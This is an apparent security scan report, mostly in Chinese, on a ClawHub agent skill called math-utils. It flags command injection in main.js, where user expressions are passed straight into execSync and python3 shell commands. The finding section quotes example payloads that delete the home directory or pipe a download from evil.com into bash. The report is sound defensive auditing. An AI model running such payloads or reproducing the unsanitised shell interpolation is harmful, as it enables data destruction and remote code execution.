Skill Trust Decision

math-utils (Native CLI Edition)

技能声明为纯数学计算工具,但核心代码存在未缓解的命令注入风险:用户输入直接字符串插值到 execSync 的 shell 命令中,skill-card.md 自身已识别此风险但代码未实施任何缓解措施。

Install decision first Source: ClawHub Scanned: Jun 23, 2026
Files 4
Artifacts 2
Violations 1
Findings 4
Most direct threat evidence
01
用户或 Agent 调用 calculate() 并传入恶意数学表达式 Entry · main.js
02
恶意 expression 通过模板字符串直接注入 execSync shell 命令 Escalation · main.js
03
通过 shell 管道/逻辑运算符执行任意系统命令(如数据外泄、持久化后门) Impact · main.js

Why this conclusion was reached

2/4 dimensions flagged
Block
Declared vs actual capability

1 undeclared or violating capabilities were inferred.

Review
Hidden execution and egress

2 lower-risk artifacts were extracted and still need context.

Block
Attack chain and severe findings

The report includes 3 attack-chain steps and 2 severe findings.

Pass
Dependencies and supply chain hygiene

Dependencies are present but no obvious high-risk issue stands out.

Attack Chain

01
用户或 Agent 调用 calculate() 并传入恶意数学表达式

Entry · main.js:10

02
恶意 expression 通过模板字符串直接注入 execSync shell 命令

Escalation · main.js:19

03
通过 shell 管道/逻辑运算符执行任意系统命令(如数据外泄、持久化后门)

Impact · main.js:19

What drove the risk score up

命令注入风险(未缓解) +35

expression 直接插值到 execSync shell 命令中,skill-card.md 已识别但代码无任何过滤或验证

阴影功能/声明不完整 +8

SKILL.md 声称'确保100%准确性'但未声明命令执行机制和风险;skill-card.md 的风险描述未体现在 SKILL.md 主体

无输入验证 +5

calculate 函数对 expression 参数零校验,无白名单、无长度限制、无字符过滤

Most important evidence

High RCE

命令注入:用户输入直接插值到 shell 命令

main.js 的 calculate() 函数将 expression 参数直接字符串插值到 execSync 的 shell 命令中,未经过任何转义或白名单验证。攻击者可通过构造恶意表达式(如 '1; rm -rf ~' 或 '1 && curl evil.com | bash')执行任意系统命令。

main.js:19
引入安全数学解析库(如 math.js、nealarant/parser)替代 shell 管道;或对 expression 进行严格的白名单字符过滤(仅允许 [0-9+\-*/().e ])
High RCE

命令注入:python3 路径同样存在注入风险

第23行的 python3 备选路径同样将 expression 直接插值到 python3 -c 命令中,注入风险相同。

main.js:23
同上,必须使用安全的数学表达式解析器
Medium Doc Mismatch

风险声明不完整:SKILL.md 与 skill-card.md 脱节

SKILL.md 声称'确保100%准确性'并描述实现逻辑,但完全未提及命令执行的固有风险。skill-card.md 的 'Known Risks and Mitigations' 部分明确识别了命令注入风险,但该内容未出现在 SKILL.md 主体文档中,可能导致用户仅阅读 SKILL.md 时忽视安全风险。

SKILL.md:1
将 Known Risks and Mitigations 内容合并到 SKILL.md 的显眼位置
Medium Supply Chain

无依赖版本锁定

无 package.json 文件,main.js 仅依赖 Node.js 内置模块(child_process, os),但项目结构不完整,缺少 package.json/license 文件,无法验证依赖来源和完整性。

_meta.json:1
添加 package.json 声明 Node.js 版本要求和内置模块依赖

Declared capability vs actual capability

Filesystem Pass
Declared NONE
Inferred NONE
代码未访问文件系统
Network Pass
Declared NONE
Inferred NONE
代码未发起网络请求
Shell Block
Declared READ
Inferred WRITE
main.js:19,23,27 直接将 expression 插值到 execSync 命令字符串中,存在命令注入风险,SKILL.md 未声明此风险
Environment Pass
Declared NONE
Inferred NONE
代码仅用 os.platform(),未遍历环境变量
Clipboard Pass
Declared NONE
Inferred NONE
无剪贴板操作
Browser Pass
Declared NONE
Inferred NONE
无浏览器操作
Database Pass
Declared NONE
Inferred NONE
无数据库操作
Skill Invoke Pass
Declared NONE
Inferred NONE
无跨技能调用

Suspicious artifacts and egress

Medium External URL
https://clawhub.ai/user/johnnyhou327

skill-card.md:7

Medium External URL
https://clawhub.ai/johnnyhou327/math-utils-native

skill-card.md:27

Dependencies and supply chain

PackageVersionSourceKnown vulnNotes
child_process (内置) 内置 Node.js stdlib No 无外部依赖,但 child_process.execSync 正是命令注入的媒介

File composition

4 files · 111 lines
Markdown 2 files · 59 linesJavaScript 1 files · 47 linesJSON 1 files · 5 lines
Files of concern · 4
skill-card.md Markdown · 41 lines
https://clawhub.ai/user/johnnyhou327 · https://clawhub.ai/johnnyhou327/math-utils-native
main.js JavaScript · 47 lines
命令注入:用户输入直接插值到 shell 命令 · 命令注入:python3 路径同样存在注入风险
SKILL.md Markdown · 18 lines
风险声明不完整:SKILL.md 与 skill-card.md 脱节
_meta.json JSON · 5 lines
无依赖版本锁定

Security positives

skill-card.md 自身已识别命令注入风险并给出缓解建议(使用安全数学解析器、严格输入验证)
无网络外传行为
无凭证收割或敏感文件访问
代码逻辑简单,无混淆或隐藏功能
MIT-0 许可证,透明度较好